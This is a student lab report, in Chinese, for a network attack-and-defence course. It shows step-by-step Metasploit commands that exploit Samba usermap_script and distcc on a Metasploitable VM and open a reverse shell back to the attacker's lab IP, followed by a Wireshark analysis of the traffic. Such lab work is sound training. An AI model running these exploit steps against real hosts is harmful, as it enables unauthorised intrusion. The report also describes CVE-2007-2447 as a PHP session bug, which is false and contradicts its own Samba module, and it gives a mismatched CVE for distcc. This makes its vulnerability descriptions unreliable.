20242801 2024-2025-2 《网络攻防实践》第7次作业
一、实验内容
- 学习使用metasploit框架,利用samba服务的usermap_script漏洞获取linux靶机的访问权限。
- 进行攻防实践,选用合适的漏洞对目标主机进行渗透攻击,获取远程控制权。同时,防守方利用wireshark等工具捕获攻击方流量,并进行分析。
二、实验过程
(一)使用metasploit对linux进行渗透攻击
1、确定攻击机和靶机
首先,我们分别选用kail和metasploittable_ubuntu作为攻击机和靶机,并确定两者的ip地址。


我们可以发现,kail的ip为192.168.5.12,靶机的ip地址为192.168.5.3。同时,我们测试两者的连通性。


此时,我们确定了两者的ip地址,并且保证了两者可以相互访问。
2、利用metasploit进行攻击
我们在kail中,输入msfconsole即可打开metasploit框架,等待其加载完成。

加载完成后,我们使用use exploit/multi/samba/usermap_script命令,将CVE-2007-2447作为目标漏洞。
CVE-2007-2447 是一个影响某些版本的PHP的漏洞。指在 PHP 5.2.0 到 5.2.3 版本中,
session_regenerate_id()函数存在安全问题。当使用session.use_strict_mode设置为On的时候,如果会话 ID 不是通过session_start()正确初始化的,那么调用session_regenerate_id()可能会导致会话被意外地重置。
接着,我们输入set payload payload/cmd/unix/reverse,设置 Payload为反向TCP连接。

最后,我们使用set lhost 192.168.5.12和set rhost 192.168.5.3分别设置攻击机和靶机的ip。并使用show options查看是否配置完全。

设置完成后,使用命令exploit即可获取靶机的shell。


(二)攻防对抗实践
1、攻击方
在此,我们使用CVE-2005-1297漏洞。
CVE-2005-1297漏洞存在于 distcc3.1 及更早版本中。是distcc在处理传入的编译请求时没有正确验证命令行参数,导致攻击者可以通过构造恶意的编译请求来执行任意命令。
具体来说,我们通过使用set exploit/unix/misc/distcc_exec在metasploit中调用对应漏洞利用模块。接着,设置相应的靶机ip(20241901 丁奕中 192.168.5.3)和攻击机ip(20242801 袁绍伟 192.168.5.12),最后,通过set payload cmd/unix/reverse设置反向代理并run。

此时,我们已经获取了对方主机的shell,渗透成功。

2、防守方
我们通过在防守方运行wireshark,捕获了攻击时产生的流量。下面,我们进行流量分析。

该请求利用了 distcc服务中的命令注入漏洞,通过构造恶意的命令行参数来执行任意命令,请求中包含的 sh -c 命令会尝试连接到指定的 IP 和端口,从而允许攻击者远程控制目标系统。


此处,我们可以发现,攻击方已经成功获取了靶机的shell,并查询了靶机的ip信息和用户信息。
三、学习感悟
- 通过本次实验,我进一步学习了metasploit框架的使用,并学习了更多的漏洞信息。
- 在攻防实践中,我通过网上的教程寻找相关漏洞进行渗透,结果发现,许多漏洞在metasploitable_ubuntu上是无法运行的,通过之前学习的nmap命令,我发现靶机上有许多相关的端口服务实际上时没有打开的。最终,通过查找资料和反复尝试,选取了distcc存在的漏洞进行渗透测试。
- 本次学习的完整录屏视频已上传至百度网盘(时间较长文件较大),通过网盘分享的文件:第七次作业
链接: https://pan.baidu.com/s/1fJI9Reij9iaJf0c6owKsow?pwd=1234 提取码: 1234
浙公网安备 33010602011771号